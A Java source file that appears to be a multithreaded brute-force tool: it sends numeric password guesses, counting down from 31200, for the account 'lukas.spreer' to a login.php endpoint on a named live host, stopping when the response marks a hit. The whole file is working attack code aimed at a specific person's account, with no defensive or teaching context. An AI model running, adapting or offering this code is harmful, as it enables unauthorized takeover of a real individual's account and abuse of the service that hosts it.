package brutforce;

import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;

public class BruteforcePw {
  private int anzahlThreads = 30;
  private String name = "lukas.spreer";
  private int tPw = 31200;
  public boolean pwFound;
  public boolean[] fertigeThreads = new boolean[anzahlThreads];
  Thread[] allThreads = new Thread[anzahlThreads];
  public void send() {
    pwFound = false;
    for(int i = 0; i < anzahlThreads; i++){
      fertigeThreads[i] = true;
    }


    try {
      do {
        int threadNummer = 0;
        for (boolean threadFertig : fertigeThreads) {
          if (threadFertig) {
            allThreads[threadNummer] = new BruteForceThread(tPw, name, threadNummer, this);
            allThreads[threadNummer].start();
            fertigeThreads[threadNummer] = false;
            tPw--;
          }
          threadNummer++;


        }
        Thread.sleep(100);
      } while (!(pwFound));
      System.out.println("Success");
    } catch (Exception e) {
      e.printStackTrace();
    }

  }

  public static void main(String[] args) {
    BruteforcePw mainController = new BruteforcePw();
    mainController.send();
  }

  private class BruteForceThread extends Thread {

    private BruteforcePw mainController;
    private int tPw, threadNummer;
    private String name;
    private String response;

    BruteForceThread(int tPw, String name, int threadNummer, BruteforcePw o) {
      super();
      this.mainController = o;
      this.tPw = tPw;
      this.name = name;
      this.threadNummer = threadNummer;
    }

    @Override
    public void run() {
      boolean success;
      do {
        try {
          URL url = new URL(
              "http://www.cfg.it-garlisch.de/KGS/api/1.0.0/live/login.php?username=" + name + "&password=" + tPw + "&version=1.0.0");// http://www.cfg.it-garlisch.de/KGS/api/1.0.0/live/login.php?username="
                                                        // +
                                                        // name
          // + "&password=" + tPw + "&version=1.0.0
          URLConnection conn = url.openConnection();

          BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream()));
          String line;
          while ((line = br.readLine()).equals("")) {
            System.out.print("");
          }
          this.response = "" + line.charAt(12);
          System.out.println(name + " " + tPw + "\n" + response);
          br.close();
          success = true;
        } catch (Exception e) {
          success = false;
          System.out.println("Error while " + name + " " + tPw);
        }
      } while (!success);
      if (response.equals("1")) {
        mainController.pwFound = true;
      }
      mainController.fertigeThreads[threadNummer] = true;
    }
  }
}